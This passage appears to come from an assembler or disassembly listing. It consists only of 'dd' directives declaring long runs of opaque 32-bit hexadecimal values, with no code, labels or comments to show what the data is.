		dd 9017A5C5h, 0A273CD61h, 0DB68AD09h, 0FBF1A49h, 29068CCDh
		dd 518E09C6h, 6B634E25h, 0B0DDF4B7h, 7EB9B8B4h,	0DE95E889h
		dd 4DD5C224h, 8578C0E4h, 0E0A73627h, 0A0F3895Dh, 80732E68h
		dd 254A7468h, 0FC5523C8h, 7809BD2Bh, 9DFA36DFh,	6F0889FBh
		dd 0F9090EF4h, 6758DCE9h, 54A474B7h, 682D38BDh,	33644E7Bh
		dd 0E9ABD569h, 7AD01C8Ah, 2FBA539Fh, 139214FFh,	263A75E9h
		dd 49A0A89Ah, 0FE8A9955h, 46B3C256h, 0FC2F3879h, 0F48729Ch
		dd 5698FBC3h, 0F536C1B7h, 0AA14122Bh, 0E9092F9Eh, 92FF44D8h
		dd 3CFBDE11h, 3E3EA1CEh, 0BF4A349Fh, 0EF3B5F8Dh, 0F0E20D2Dh
		dd 0B5BA4F58h, 9CB96AEFh, 0B44F8CD4h, 0E32DE904h, 49D5F1D4h
		dd 42024F02h, 617F65Ah,	2EA0C47Eh, 39651844h, 1CBA0C76h
		dd 1240278h, 0D7125BFEh, 605A8C0h, 718240Ah, 44CF02ECh
		dd 2553060h, 0FE327528h, 9BF1737Bh, 104C670Dh, 327E75DAh
		dd 0C2AB7803h, 8023EAD7h, 5734F6D5h, 0BC9F835h,	2FB7619Bh
		dd 7225BD80h, 82C032D5h, 1EC06403h, 0A5B62FE9h,	2D56F9DEh
		dd 4B684836h, 43714901h, 0C55B0BB0h, 0C05A1A8Ah, 21666860h
		dd 5AAD7AE1h, 8ACE8B8Ah, 334038Ch, 406E75D6h, 2F18B47Eh
		dd 0E3186B11h, 954C7879h, 7D22C260h, 850E4983h,	1491CAC4h
		dd 0ADEA1DD2h, 0C8B8DABBh, 0A3E27ABDh, 6BEE688Fh, 0E98FFA12h
		dd 0BD096C4Dh, 0A6294510h, 332065D0h, 8E56B7E4h, 4B7DD62Dh
		dd 0DE2B375h, 0C6DBE949h, 874B4130h, 6E30E5DAh,	0CEEEE017h
		dd 57E91206h, 0F668E6C0h, 0ADF39565h, 0FDFDAF89h, 759DF294h
		dd 0F7F1F4B0h, 780F3DEFh
		dd 64297B2Dh, 295C5EB6h, 88E17FC4h, 0EA5C642Eh,	0E98517B8h
		dd 9D3B9EDh, 5F59CAh, 8C63B809h, 330CC242h, 7B430B66h
		dd 3EAE5E7h, 75BB5308h,	0E967ABE8h, 693B38EFh, 97735564h
		dd 1E122D8Dh, 870A282Ah, 1F49C4Ah, 0D442167Ch, 5DD5C49Bh
		dd 0E9DE82CEh, 955E28E0h, 95376843h, 7DD2AAF2h,	29A7113Eh
		dd 0F1F1DA57h, 0A9F8AFB4h, 0EDE2E9B0h, 7EA5995h, 3941B9C5h
		dd 0F00B73F0h, 0B33E203h, 9D775087h, 524ED86Ch,	4077C9CCh
		dd 6B122D73h, 81EBA540h, 2E7BA464h, 9D12D4CAh, 71D9A3C7h
		dd 1C60A2E0h, 915C278h,	1EA2B852h, 0C440B8C7h, 82FE3111h
		dd 0F356D4CFh, 693F6188h, 884CBC57h, 5F74E991h,	2F9AE336h
		dd 19ADFCB5h, 3E0652h, 13CDFEAEh, 0EC5E16E9h, 84EFD66Eh
		dd 5F080041h, 11E3F75h,	9044E28Bh, 9C9EE90Ch, 0ACF8274Ah
		dd 0AAEAF29Ah, 0BEB2651Bh, 9921F8A6h, 0FDF8B00Fh, 57088BCAh
		dd 0BF041396h, 4C764E95h, 0BB02DC2h, 5FFB6838h,	0E9615896h
		dd 2C372AC2h, 165D0C27h, 0B6D9BDD7h, 5948F569h,	0D72C372Bh
		dd 81008625h, 36130EE1h, 0C4E19843h, 0AE422030h, 78F88FC5h
		dd 456855F1h, 9E0044E4h, 0E1F7056Ah, 0BB4882h, 58E6305Bh
		dd 5AEE803Bh, 40C48D2Ch, 0D077597Ah, 9081804Bh,	0B7A60569h
		dd 0B4B29750h, 2609EA7Dh, 7A69DA45h, 1A2028F7h,	91CC0D2h
		dd 0E945AD3Fh, 0D51DB826h, 7D9CEB42h, 0B261029Ah, 3FB92BFCh
		dd 4C8FE02h, 0E577081Eh, 0FF688937h, 0B36B987Fh, 41E913B8h
		dd 12CB904h, 2E20318Eh,	903BDBF7h, 0F179DA22h, 0BFA13E4Eh
		dd 0ABF40E6Ch, 160EE6B4h, 889BA0E9h, 0BBF7E5Bh,	66CE7702h
		dd 0E918F3F2h, 0B82041A6h, 82600CAh, 797B0D33h,	48282251h
		dd 3825A8F7h, 0E3DCD183h, 1C5A6678h, 8F808F84h,	58BF5A92h
		dd 225884Eh, 72882AFCh,	4281222h, 9A149FFh, 8D77004Eh
		dd 95820BDFh, 0E9048751h, 40EABE28h, 7C41AB3Ah,	77972909h
		dd 89593002h, 55902D7h,	64A0D6A8h, 4E1DE8F5h, 0F91676A2h
		dd 6F4BC9FCh, 0BDBD1D52h, 0BD15A985h, 0C38116CAh, 0EAAE84EFh
		dd 0EB5FB78Fh, 2C57F42Ch, 804E7AE9h, 0CD4256B9h, 80903117h
		dd 7BC161FDh, 0B5317D53h, 0C52E6AE9h, 0CF39FE55h, 0FBF5792Ch
		dd 0E9A0E5F2h, 20B580E3h, 0DD6EB3Fh, 0C1FB4DB5h, 3A60417Ah
		dd 454CE647h, 61C6FF09h, 8458E1F6h, 8CC4D871h, 0F5BE5014h
		dd 6E1113B6h, 2670C118h, 0A882B98h, 4A257392h, 8BF17Bh
		dd 3D15E907h, 51DDE49Dh, 846AE150h, 0C990FDE1h,	25AD764Fh
		dd 0A49D66C6h, 0C805F49h, 1DC8267Ah, 7891E97Ch,	1E39FF5Fh
		dd 13A2C31h, 2968539Ah,	508D3A46h, 312C61CAh, 0EC08B3F8h
		dd 41C79E3h, 3EE97DEBh,	0DB04078Ch, 0A72CD003h,	5D21F6B2h
		dd 261ADE18h, 0D02D72BAh, 0E988DE46h, 4DEE6690h, 146FB72Ch
		dd 8F6BC840h, 74292315h, 5E4A0C20h, 481C5410h, 1F478463h
		dd 0EBC83104h, 801355F3h, 0F572BA6Ch, 858BDB58h, 0F4F9F2E9h
		dd 7D97580Eh, 7BDE1119h, 0E9E337ECh, 985527B2h,	0C8452EC8h
		dd 5D09C111h, 0CF372842h, 67B310Fh, 266213Bh, 172BF681h
		dd 1DC04419h, 783F33A0h, 0FCEAC72h, 221CEE05h, 8BFED0C4h
		dd 6CA30125h, 0F72974FAh, 0A811296Bh, 13813316h, 183D3E5Eh
		dd 0DF3CB22Fh, 5809E6D0h, 0A0844B43h, 2D5A0073h, 4B369F50h
		dd 5A07F88Fh, 0B5466BE0h, 0BAB0F2D9h, 3B8759F5h, 5178291Bh
		dd 0EF4208C6h, 971A701Ah, 7BC3F6h, 3B02B886h, 0C6E948A2h
		dd 21BE2E4Fh, 0E566BB77h, 3F59F542h, 0A2AF52C4h, 61BAD78Bh
		dd 3ABF133h, 58C3C85Bh,	0BCD95A89h, 0A0C2F44Eh,	0CE010358h
		dd 54E7DE05h, 40C74907h, 5D96BEF2h, 1DFC5420h, 1BB7282Ch
		dd 639ED9E5h, 53AD858h,	875CC32Dh, 6357E8FEh, 0BBD6F70Ah
		dd 0CE81B8EEh, 1E491214h, 120D004Ch, 2944CC71h,	6B667C9Fh
		dd 6858C8D5h, 0F8164BAFh, 0B32FB98Eh, 5788540h,	345DB960h
		dd 0F71212ADh, 12BACD8h, 51EDBA52h, 0B12A25D9h,	1ECCD09Ah
		dd 4F0094Bh, 97061986h,	0E9E52865h, 0E1127017h,	2F68C340h
		dd 50C77095h, 22048111h, 0A5205B34h, 48764B0Eh,	70A80E51h
		dd 825B2B17h, 0A60CB3Ch, 58BE0927h, 7E23DB3h, 0F5EB25Dh
		dd 0C2306FF7h, 0DCFEF156h, 52F40198h, 71293AE0h, 880FAD4h
		dd 2E15685Ah, 9AC618B5h, 5C2C244Eh, 6C96003Eh, 0D931986Dh
		dd 97F996B5h, 8ABDBF4h,	3F812B35h, 403E35A0h, 19E80529h
		dd 2D0573C9h, 631C094Eh, 3618AB00h, 2DC1693Fh, 5F9406E7h
		dd 73BFF990h, 0EF81006Fh, 40671EA8h, 540F9B0h, 0C7DE48F7h
		dd 0C9C4D904h, 0E9268CC6h, 83B1864Fh, 3DA4CB2Ah, 192CAF68h
		dd 0FC2FE99Fh, 0E8BBC0AEh, 499202h, 4E63E381h, 0BE56018Eh
		dd 0E1155F09h, 36FB226Ah, 31D7EEBh, 6340547Ch, 1FE8EAE3h
		dd 95422Fh, 28F9E2DBh, 1C6E607Bh, 2B4DFE90h, 0E9D62109h
		dd 2DC0765Ch, 170830CDh, 0D9F60E7Ah, 0A2556DEBh, 0DAFE8911h
		dd 88823009h, 0C835C3EDh, 31A9B70Fh, 96E8AFDFh,	0B0B2F3D1h
		dd 0E091BE04h, 0E72BD264h, 186809C1h, 711A24Ch,	3DD00B7Dh
		dd 0DA440502h, 62891054h, 9829C82Fh, 0C77BC081h, 242799EBh
		dd 523CC19Fh, 0B70C68FCh, 0C916B0A2h, 1058009h,	14661975h
		dd 605F181h, 0ED05864Dh, 0BF773C0Ah, 0C02B49Dh,	48B55159h
		dd 5AE9619Fh, 0E1B79F1Bh, 0F53411Eh, 0EDAEB8C4h, 0C992DF95h
		dd 16BE1352h, 0BD60AFEBh, 0E6038BB9h, 503900Fh,	18219FE1h
		dd 5DA0BE65h, 0B2077F1h, 836851E4h, 46A730D5h, 30D7240Ch
		dd 0A05B16A3h, 3A276E77h, 79ABF560h, 1331675h, 5F84F3Ah
		dd 9207E2C1h, 0A2BEF1AAh, 27C14CE0h, 0BFE16433h, 0E90987E5h
		dd 0A84FAC69h, 0B5A9006h, 3C6F2C4Bh, 26DAA1FDh,	5620B93Ah
		dd 31C338CEh, 0A403A4h,	0F9544B3h, 5E13F101h, 0CFA0D9E9h
		dd 0F6D9849h, 6B8F1DA6h, 0E6441792h, 0EA614B2Fh, 5901762Bh
		dd 0E4057129h, 59B7A7F0h, 0D4B6C2ADh, 0E99AC7E0h, 5F0A4838h
		dd 90712CFEh, 74B85F04h, 65E10BE9h, 13079ADCh, 0E021487Ch
		dd 8690CF1Bh, 0ED7E3841h, 608CD654h, 0E8C832E9h, 0D77EEA93h
		dd 972B94A7h, 0E9841359h, 41BA3AB9h, 0D9C2E20Dh, 0F740A5E8h
		dd 6D741689h, 7F66DD09h, 0C168BD18h, 0CE30165Fh, 78090D58h
		dd 0E9F93D71h, 2D1E36B0h, 0D23D14F8h, 152F21h, 8B685D99h
		dd 0A417B144h, 0AD50036h, 9BE77C3h, 112D9AEAh, 836BFC31h
		dd 96FC1583h, 4FAEEDB0h, 80A3C07Ch, 4208B441h, 1B7A428Ah
		dd 82892444h, 6E6D7C80h, 1CB030C8h, 28361916h, 0BACE12AFh
		dd 0E1BC0E84h, 0BC79E513h, 84A592D2h, 60484AFAh, 81C5AE64h
		dd 574F60B7h, 5E1C4EBEh, 534D684Fh, 0D4BEC164h,	0BA85FEF1h
		dd 0BE5FDCB8h, 0E85C352Ch, 9457953Ch, 0EDD6262Bh, 92542D8Bh
		dd 91FB87CFh, 5A6826B8h, 0FA29AC64h, 0BB96DB87h, 5DFC0ABh
		dd 0B9267A09h, 2D147964h, 3CE14B07h, 3079C536h,	80121A62h
		dd 500956C9h, 30692D68h, 5E883A76h, 6938BEF0h, 288A272Ch
		dd 530983DEh, 8190FFC2h, 82274A9Bh, 6A6A7779h, 0C97AB002h
		dd 814AF606h, 0EB483AD6h, 16C9E11Eh, 0C72528EDh, 4C07C920h
		dd 12D8862Dh, 5080447Eh, 4F08EE54h, 20AAA6B5h, 0A85B5A62h
		dd 3182B4E2h, 0E1F48B0Ah, 0C86F597Eh, 4B4A78CBh, 30137DEEh
		dd 0DAA0F4BCh, 74B6668h, 13E9E928h, 0AEFEFBCEh,	0C1EC1E6h
		dd 0F60607C0h, 80CCF0DCh, 0EBE62FC4h, 209BE258h, 0C98103C8h
		dd 0D9716F2h, 0D5DDC0B7h
		dd 899586B3h, 45740F13h, 88FF995Bh, 0C23D81FAh,	6B310509h
		dd 0B404CA01h, 56090E4Eh, 94D07D89h, 6B22D995h,	0D6A0C76Eh
		dd 6D371B3Bh, 0F2CBEA2Fh, 0B97729F1h, 4455A7C4h, 0C2F65E8Fh
		dd 0FE715A4Dh, 5037E1AEh, 6872C51h, 0A443FF2Eh,	79FA6354h
		dd 0F17FE10Ch, 457068ABh, 0F03759CAh, 79B74B75h, 0DABD813Eh
		dd 31572362h, 0E9060119h, 70C52BE6h, 68F1F9ACh,	2C126F25h
		dd 81F73DABh, 3BED6870h, 3B3031E4h, 886A4082h, 7366C724h
		dd 901D190Bh, 8135720h,	0FA01C602h, 0A7FAFAA7h,	88BF08D8h
		dd 0DCC95617h, 0F20DCD6Bh, 77F40B5Dh, 0E909E547h, 2FBD211h
		dd 4EC7E4EAh, 24189B9h,	6801FC83h, 1963E62Dh, 5065A37Dh
		dd 0B154F92Bh, 3A7DE9h,	805B6620h, 4C909CCBh, 0D9082914h
		dd 5166B0A8h, 85C9BDF6h, 685B58ECh, 0B233B12Fh,	0F20581A4h
		dd 0C47B8E05h, 2BD9E1CAh, 6882F0E9h, 61A71C1Bh,	0E1DD9957h
		dd 3F645F14h, 0A62C4A44h, 12631945h, 0E935C12h,	28C64A1Fh
		dd 458A12E8h, 0A986B723h, 188FD44Dh, 0CAB529DCh, 331B273Eh
		dd 20039C56h, 60CBD11h,	0F112F00Ch, 41FE80DCh, 0B2B054BAh
		dd 0CCCDC972h, 69471472h, 5E764FE0h, 5E8F9F1Ch,	72606A69h
		dd 769518B1h, 0FB2C0BA3h, 527BB0DDh, 801B0BB2h,	6AFEDBE2h
		dd 0E96CF203h, 93EBEBAh, 3BD6858h, 5F4AFA44h, 291640A3h
		dd 9CD8EFF8h, 3CF56B20h, 0EB2F21DDh, 0C06A5B74h, 0A77FE21Ah
		dd 3B1775Dh, 9D769BE6h,	0C0F6B048h, 692E267Ah, 0A070218h
		dd 0B1E4E7DEh, 98082B2Ah, 2D72DD0Bh, 0BD0E7D38h, 6A430B1Fh
		dd 5D3BBB00h, 0E9340D91h, 0CC04BF8Fh, 80EC87BEh, 840329E5h
		dd 0EF5DE9C9h, 8A4B44EEh, 0F3090796h, 25A7D2h, 0DCC6855h
		dd 0D8789F2Dh, 0EAD901A2h, 0AAE946F9h, 6A326A74h, 58CB69C5h
		dd 0D5EBB647h, 1FBEF490h, 37183418h, 0D3D08FEh,	0EED11B46h
		dd 2F963010h, 32811652h, 7F457DE5h, 55F1950h, 35F59000h
		dd 0B0F40956h, 125B0568h, 0C429744Dh, 13A1BE53h, 84E90B00h
		dd 703194F5h, 483B2968h, 0F75A04EFh, 0F98042DAh, 7E35B40Ch
		dd 84659CACh, 0EB23CDE9h, 0FC6AA8C9h, 6C731C79h, 0B8E90B21h
		dd 0F6802E21h, 454DE09Dh, 0DC8710C9h, 6C50031Ah, 0C38663Dh
		dd 96FB9240h, 0E91C20FAh, 30C052A2h, 8468C331h,	0F9189551h
		dd 4892A1Eh, 465FF2Ah, 0D742B013h, 0F51E7868h, 0E92AC034h
		dd 2C27F78Eh, 0E95D50D6h, 950A3D60h, 864069DCh,	12CA80DAh
		dd 4E2C02Ah, 0BDD02C73h, 8204D36Fh, 2D093CBAh, 416442FFh
		dd 0BF008374h, 6948140Bh, 16CF021Ah, 7562576Eh,	4C49CFE0h
		dd 0E94F150Bh, 0C2AD625Ch, 48214262h, 4BDE683Ch, 5058A64Ah
		dd 2F90F9FEh, 0A9381B4h, 0E44D715Fh, 81201AE8h,	0C33760Fh
		dd 6B3E6845h, 274A83F9h, 93C9195Dh, 889AF7CDh, 98EE7075h
		dd 2CDF4020h, 0D031F677h, 0D9F70EE1h, 913C5A8Eh, 0F1A6FE4Fh
		dd 0EA2DB7FBh, 129A755Dh, 0F0DAF275h, 685E13F2h, 3A17B19Eh
		dd 11FFFE7h, 0FA1CEFBh,	54B2AE12h, 0FCC408A4h, 0AA1D1D26h
		dd 0A4C14DD7h, 0ECF39EB0h, 0CEEE6E94h, 3168827Bh, 0CE92A342h
		dd 0F15D5178h, 80200720h, 0F9BE565Eh, 4AEA4E58h, 6896C8FEh
		dd 1B234F27h, 80C325Ch,	0ECA3015Ch, 0AE24595Ch,	5E932128h
		dd 15AB060h, 8C5CC977h,	0D0F66923h, 6461FBB9h, 0AB252D9Dh
		dd 9F72F46Ch, 0ECC18951h, 930C67FDh, 0D6E1A202h, 0D84158B2h
		dd 4B9368D0h, 8FB7E817h, 644CD55Eh, 0E904312Ah,	0FA54BB0Bh
		dd 92B800E9h, 52A195Fh,	0F8111316h, 0C26E91E9h,	4F253B67h
		dd 22CF9E81h, 0C105C786h, 17320847h, 0B42C76h, 5859CB88h
		dd 1CEC5A72h, 0E0D8875Fh, 0F5E74D71h, 68B01858h, 71BD0751h
		dd 833CEAD5h, 77845D13h, 2978F3F0h, 24A163Bh, 0FC2D95E3h
		dd 4603FD28h, 0C7F7D10Dh, 5D0ED0EBh, 4F05BD26h,	1242211h
		dd 270841BAh, 703DA357h, 7DE2239Fh, 5DC030F5h, 0D40184BDh
		dd 0CB27D2AEh, 542593F0h, 6C825158h, 0DBE8952Eh, 1EB9684Eh
		dd 6083A205h, 53F0EB9Eh, 160C9C80h, 43C9E029h, 0F5FA1341h
		dd 0DAFDFBE2h, 12BE74Eh, 21B9CFE4h, 4C0CF492h, 0F5822794h
		dd 0D5BDF7A9h, 0E075C262h, 9A2FE911h, 9DC0B76Fh, 50AB2E32h
		dd 61F2FBC5h, 8566B792h, 0F64474E9h, 8180C580h,	1FC059EFh
		dd 0D35205E7h, 5397A0DDh, 1ED6E195h, 0D2446Ch, 7C7F6F35h
		dd 0CA05814Bh, 36F56D5Bh, 8CB687EAh, 0A14ED734h, 288773FBh
		dd 4BFD8Ch, 0E633B2BBh,	0BD5B5F53h, 0F5975850h,	0E175B892h
		dd 0A935E383h, 69E1B201h, 7EC3A26Bh, 14939225h,	0F5EB0596h
		dd 862D077Bh, 8806ABAh,	8A9F15E9h, 0BD61A568h, 29E07027h
		dd 0B25DF6EEh, 9C569580h, 8D64CE1Fh, 31805608h,	1447FDAh
		dd 0E6C508B4h, 0FB81A620h, 1660CA3Eh, 47F82812h, 414FF0F1h
		dd 480A29h, 913CA668h, 0CBE0AD88h, 719DAB98h, 2D6D8283h
		dd 28D92BD1h, 0E023545h, 0AE12B1E9h, 85FBD788h,	538BEEB3h
		dd 5E31AA4Eh, 0C9843BDBh, 825F10E5h, 0A7404D19h, 1C5409FDh
		dd 7117F8B0h, 67243693h, 19D20810h, 0EF4329CCh,	55E8FC6Eh
		dd 42EC09B8h, 0E6C6E22Fh, 2DC0504h, 84B82399h, 3667850Ah
		dd 597C428Eh, 607DBD00h, 8E1A6F6Eh, 0C1161463h,	5EEE7E4Ah
		dd 2D771932h, 9A9D40Eh,	0BFEB2129h, 41E94360h, 83469FC3h
		dd 0C08294F0h, 9593B336h, 0FA6C15DCh, 0B33B03Fh, 1048CCCBh
		dd 0A3E8248Fh, 43966804h, 6FAB3DFEh, 0E905D7F8h, 0BBFEF0A5h
		dd 37F85253h, 5D68F87Fh, 0C70748B7h, 0AF3E331Dh, 467FC213h
		dd 0ACE52F41h, 878B0E38h, 7538DDCFh, 0B9B0D0B3h, 58F0365Ah
		dd 0F5C2826Bh, 610982C1h, 7DB22E84h, 0A684B890h, 0B6B940CDh
		dd 2119B3Eh, 7236BE56h,	8ED54D84h, 93BE923Dh, 7BC1402Ch
		dd 505685E4h, 61E8D088h, 0BB584965h, 0DE802BC4h, 336EB9E2h
		dd 3A0C4237h, 207C47F1h, 0C139F08h, 0A70235E0h,	7F7842EAh
		dd 23A6D801h, 5DE2FA98h, 80A0CC2h, 72F2015Ch, 30BC7BF9h
		dd 14383A3Ch, 351860C7h, 0C21D6246h, 2942ED75h,	8AB8AE82h
		dd 75D68702h, 50D4EF9Ah, 2C0C11Ch, 16E2CE81h, 0B84E50A0h
		dd 0FCFAB708h, 0C1DC9ECh, 0C18169EEh, 0DDD4BF3h, 6655D86Bh
		dd 0A2479B7h, 288AE3F1h, 202F41Ah, 0D8312DF6h, 71F5295Bh
		dd 0AFCA6927h, 17FBC92Bh, 4B6871CCh, 0BA22C437h, 78E160ECh
		dd 0C4997CD7h, 0BA00647Bh, 262A5FBEh, 0F77B4A0h, 0B2719028h
		dd 0B8FB9A00h, 5A2C059Bh, 64255806h, 8050851h, 48B1C516h
		dd 5301CB3Ah, 0C680B2Dh, 0E27F5E3Dh, 0B900068Ah, 5A996046h
		dd 3A6DE828h, 0FDD325D9h, 0F51E0Bh, 2F33C9F8h, 60525C25h
		dd 4C3E8E0Ch, 0C29F3444h, 58C3454h, 16734605h, 54BF0044h
		dd 0E9485718h, 0A4122A5Fh, 0C3E582EAh, 11DA4FC1h, 692902EDh
		dd 0AAECFDE3h, 357DF4CBh, 0AB46409Ch, 6855CE07h, 8A6ACDF1h
		dd 0EAD33A32h, 975EEBF4h, 6284BA57h, 24A57A40h,	122E2CFh
		dd 25210A05h, 2F23313Bh, 0EB024BE6h, 2E1829ECh,	7408780h
		dd 289749A4h, 0E52608C4h, 28842216h, 83B299ECh,	15C8DD29h
		dd 4F3A1368h, 0D65A7A84h, 5BD7B00h, 0A00C8D54h,	90EF8C8h
		dd 0C53143A9h, 0F9E5F407h, 2D54C980h, 2CF9A811h, 0F7DA0D38h
		dd 0CF4008DBh, 25578495h, 6E570199h, 20A88658h,	92F88FAh
		dd 14EF0C8h, 2D6CB219h,	937195B9h, 82AF9896h, 47E3485h
		dd 58BF5770h, 0C45BF515h, 24BB1C91h, 8EADBBF9h,	0F57DADD2h
		dd 0E23D762Fh, 9BDF094h
		dd 62D68D7h, 75F688E0h,	9BDCC117h, 0FE20C456h, 5AB655B5h
		dd 6A22FEF3h, 60DD8B5Ch, 72045964h, 908FBFFEh, 0AAC39184h
		dd 0A3EBB321h, 2CC2E793h, 0A5EF5209h, 5ADBC914h, 30BDD082h
		dd 68FF31C4h, 2D3585A7h, 3A8B4156h, 3DDE18DFh, 7F843E64h
		dd 1351D7ACh, 5E9AED0Eh, 922D5FF8h, 0F237EF7Eh,	0ED53DD57h
		dd 0E90A3F58h, 0FBD225AFh, 0E22004B8h, 342863A4h, 0E7E9D4EDh
		dd 342F3655h, 0B0EFAF5Fh, 0CAF86C35h, 1961D58h,	70BC7AE5h
		dd 0FEC985E9h, 414FD677h, 0F6010549h, 363D4CEh,	0CA53B1DEh
		dd 7AD4B5BFh, 0D2DFD0A2h, 5F68AC38h, 0B2C437E9h, 8B35FBA4h
		dd 0C9B4C81h, 0EA340103h, 31BC2364h, 6E1E80A4h,	38609658h
		dd 21493FC2h, 17E91A34h, 0FE425799h, 0FA06B45Ch, 99EEF38h
		dd 0D7E4CF7h, 8E78A03h,	0F34FDFC1h, 8DA3C2F8h, 0F5E06F4Eh
		dd 6D510E2Dh, 0E9B36BFFh, 2BE909C9h, 2EC664D6h,	87E5FB1h
		dd 0BE1E7295h, 47E31C84h, 0F52081FBh, 30E63E03h, 0EE0D6D16h
		dd 3CAED124h, 0A128E95Fh, 459FC3E0h, 13A22782h,	0B1007183h
		dd 3DD9F6BFh, 6093C9FEh, 0AB4A52F7h, 95BED5C6h,	0A400DF5Eh
		dd 5D5BF951h, 68F80B29h, 17D119CBh, 771D838Bh, 0CB053A14h
		dd 1BAE29D2h, 4EBF02AFh, 0B5FF85Ah, 0BD5596E9h,	75690359h
		dd 255F9911h, 0FA40EEECh, 0C49EF1C7h, 4067162h,	4DD2FE58h
		dd 0D598DFA0h, 682DD901h, 696F56B8h, 0D29C84h, 0AB565DBFh
		dd 0FFFAA2B4h, 0D2E9A9E1h, 2912345Ch, 0F7EFCB0Bh, 0CC7A6742h
		dd 0BF4ABB7h, 9D710356h, 1E163078h, 342001D1h, 1334B57Ah
		dd 0A684BF31h, 583AEDAEh, 5499B218h, 72712775h,	5F9AE978h
		dd 0BD44A435h, 42BF60F2h, 0CB7CC038h, 145F1254h, 50DD0176h
		dd 42030859h, 0CCF71798h, 1F3E3000h, 43E0EBCDh,	0A660793Dh
		dd 0F81064Dh, 19A68C8h,	0EAD2606Ch, 0A7AA2085h,	65E985CFh
		dd 7766ECB0h, 0F1A2953h, 0E95FC01Ch, 0F2BE7514h, 0BF10F54Bh
		dd 609FC229h, 3F3D95FBh, 0F5762B16h, 0D6211C80h, 53DEF75Ah
		dd 1F685100h, 0E909C661h, 180B9D93h, 55583E5Ch,	13015BE9h
		dd 7D63E7AFh, 7E0D2F25h, 4A26830h, 80DB7EEBh, 2942C36Ah
		dd 4B6050F6h, 5B08881Ah, 6A8833Bh, 2BD499Eh, 0D4EA0168h
		dd 1744097Ch, 0D329A103h, 5A082840h, 3E96E91Ah,	5D6A85E7h
		dd 0B0C25B97h, 1C575286h, 0C46D27A7h, 0C759CF89h, 0A561BE42h
		dd 0DB7B763Ch, 0F412B3D8h, 14584948h, 4CA91150h, 0F8E10329h
		dd 0AAE98D3Ah, 2DD565DFh, 905C5B56h, 0B4DD49E5h, 0B93095Ch
		dd 0BBC0ED24h, 6A5E3968h, 0E65B0D8Ah, 496210F5h, 764ABD02h
		dd 8B40E5D9h, 0DB582A0Dh, 28FD3CE7h, 9A008C5h, 98832D63h
		dd 4A372E7Eh, 4B6DA853h, 0C6D81CE9h, 0F82D3157h, 89EEF65Fh
		dd 11271756h, 226772D1h, 320904C4h, 0DD7BDD6Bh,	0CB029D59h
		dd 0C06F9576h, 9DFEE633h, 0B324B565h, 5CE96812h, 0C6F62F77h
		dd 0BD78637Ch, 0AC3A029Dh, 8BE94561h, 132D0D68h, 32C12F02h
		dd 8F05D829h, 0C5EF9607h, 0C77D217Ch, 3964627Fh, 7B0F58CEh
		dd 0B0B15940h, 2DCB799Eh, 51C8C7C6h, 563D2563h,	625AF039h
		dd 4FA8D7B4h, 0FA175627h, 775FC749h, 71D6AB20h,	892CE6A4h
		dd 0EE1636C8h, 54C0EDFCh, 0BB3DE569h, 2DABD258h, 0E9B32226h
		dd 4037C73h, 854AE6BAh,	8D220EA5h, 0C729A86h, 4A24509h
		dd 44F8D76Dh, 2CDED40h,	2A471E86h, 0AEA4AE9h, 0A791DBF7h
		dd 3A5556DAh, 320541E1h, 55BC2E2Fh, 1563319Ah, 780C7FF1h
		dd 5E1089B2h, 0B2F12F75h, 0DD17E4E8h, 2E652087h, 39804CF0h
		dd 8ED0F8E7h, 0ADF66F6h, 680F067Fh, 0C55BFD28h,	0B1C05CF5h
		dd 974CE972h, 16D5B4E2h, 21FE25BFh, 68841A51h, 0B9E81830h
		dd 308F29CBh, 5CE781C0h, 0D2A05F09h, 70186BF7h,	8A0C6F0Fh
		dd 44F50041h, 9DBA5247h, 11508C4Ah, 350AB2AEh, 0FD51015Ch
		dd 88341900h, 4B20E93Dh, 0E68ABF21h, 0CAFD1C20h, 27D44C75h
		dd 0DF6233E9h, 85A753F5h, 0AE365C68h, 25E9792Ch, 47414F3h
		dd 23D37769h, 0B6B156E4h, 260FDDAh, 0D5822766h,	4F20507Ah
		dd 9979001h, 1E055B3Dh,	0FB5CC03h, 8A421ABAh, 9557BFABh
		dd 0A054A54Ah, 0B40DC402h, 744760Ch, 607F0665h,	4F1647CEh
		dd 3EAC295Fh, 7DB3460Ch, 9D04B224h, 0FCE9EC62h,	0B32E24E1h
		dd 90BFD76Fh, 0FEDBE488h, 58365E9Fh, 66803AD2h,	19C3ABFh
		dd 0C61EC94Ch, 0F9314203h, 5B56BCE9h, 4225A7ACh, 0D7547DA7h
		dd 707F6870h, 4EDEBD74h, 0E613D27Bh, 1602BE7Eh,	9FF1A25Fh
		dd 6B8D652h, 3187B15Dh,	8CA26D1h, 5C3CFAB4h, 169616BBh
		dd 4829C8DCh, 50B2DDDFh, 50174B61h, 314BE36h, 963A3928h
		dd 0F749D460h, 76C9A926h, 0E2C14FA7h, 116F2884h, 6E7F38ECh
		dd 0DEA50F4Fh, 84850804h, 0FB9FEF0h, 6A751B7Bh,	3B9ECA46h
		dd 6EFEC61Fh, 0E8CD7FDEh, 8618C1Ah, 96CCA0DCh, 61E86F71h
		dd 3F8B61Eh, 0C3805AF3h, 5BD881B9h, 0C0AAE27Bh,	68E7B050h
		dd 0C56A53BAh, 0ACC3881Ch, 25E420F9h, 0B6D66ECEh, 0A02BDE60h
		dd 0F281BD7Eh, 41384C73h, 352D1306h, 87584091h,	655C396Eh
		dd 0B797104Fh, 7262B84Bh, 42563016h, 34B0FD20h,	0C1250479h
		dd 834F04E7h, 58B8162Ch, 9BE6E9D0h, 0A30483D2h,	91FD3B0h
		dd 311ADA8Eh, 72CC7C55h, 76903743h, 0CAF82EA1h,	270CB817h
		dd 0E9D2B201h, 9C2EFA82h, 68BDFE16h, 7087E9C0h,	14D79723h
		dd 4ACD9031h, 3761EBE6h, 0AE3ECD29h, 65AACA65h,	60DE8A2Dh
		dd 8A794C3Eh, 0BF1F81Ah, 491238B3h, 8EC401FAh, 228073CCh
		dd 601929CEh, 0F42E0C72h, 0F6B5AE2Ah, 57D1EB6Eh, 8EA508h
		dd 6C01F581h, 217C1AEFh, 0AF5F18FAh, 331132FFh,	0EB38FBDAh
		dd 652C854Fh, 99FFD901h, 57D597B5h, 0A6898CCh, 6E785ED9h
		dd 75E90EEFh, 0B7EEEC53h, 716AB3EAh, 76B82615h,	55A65D4Fh
		dd 0A2365F7Dh, 0DDE87FFDh, 0F441DBB8h, 5007A07Bh, 32746812h
		dd 6080E589h, 6697017Ch, 0E175EBAh, 82EA4F3Bh, 22D05471h
		dd 0BD807CFAh, 0D7291476h, 0A3328860h, 0F9575314h, 0B7B4A06Ah
